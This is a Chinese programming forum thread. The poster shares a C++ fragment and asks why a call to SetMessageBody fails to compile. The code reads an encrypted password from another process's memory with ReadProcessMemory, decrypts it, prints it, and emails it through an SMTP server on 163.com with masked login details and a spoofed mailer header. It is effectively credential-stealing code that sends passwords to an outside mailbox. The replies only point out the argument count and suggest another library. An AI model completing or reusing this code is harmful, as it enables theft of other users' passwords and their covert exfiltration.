printf的值用email发送出去出问题了

   nBytes   = *(WORD *)((DWORD)pFinal + 2) ;            // 密文大小
        pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)) ; // 密文地址(Remote)

        memset(Encryptdata, 0, sizeof(Encryptdata)) ;
        ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead) ;

        // 调用解密函数解密
       /DecryptFunc(Encryptdata, nBytes) ; 
        // 打印密码明文
        printf("password: %S\n\n", Encryptdata) ;

                   CSmtp mail;
    mail.SetSMTPServer("smtp.163.com",25);
    mail.SetLogin("********");
    mail.SetPassword("*********");
  mail.SetSenderName("***********");
  mail.SetSenderMail("*****@163.com");
  mail.SetReplyTo("*****@163.com");
  mail.SetSubject("The message");
  mail.AddRecipient("*****@163.com");
  mail.SetXMailer("The Bat! (v3.02) Professional");
  mail.SetMessageBody("password: %S\n\n", Encryptdata);

最后一个
mail.SetMessageBody("password: %S\n\n", Encryptdata)
报错error C2660: 'SetMessageBody' : function does not take 2 parameters

我应该怎么改呢。。。小白求教
更多 0

SetMessageBody需要的参数不是2个,检查下代码

SetMessageBody() 还需要自己加  "\n\n" 感觉这个库做的不合理的。你可以看下 poco c++ 这个库。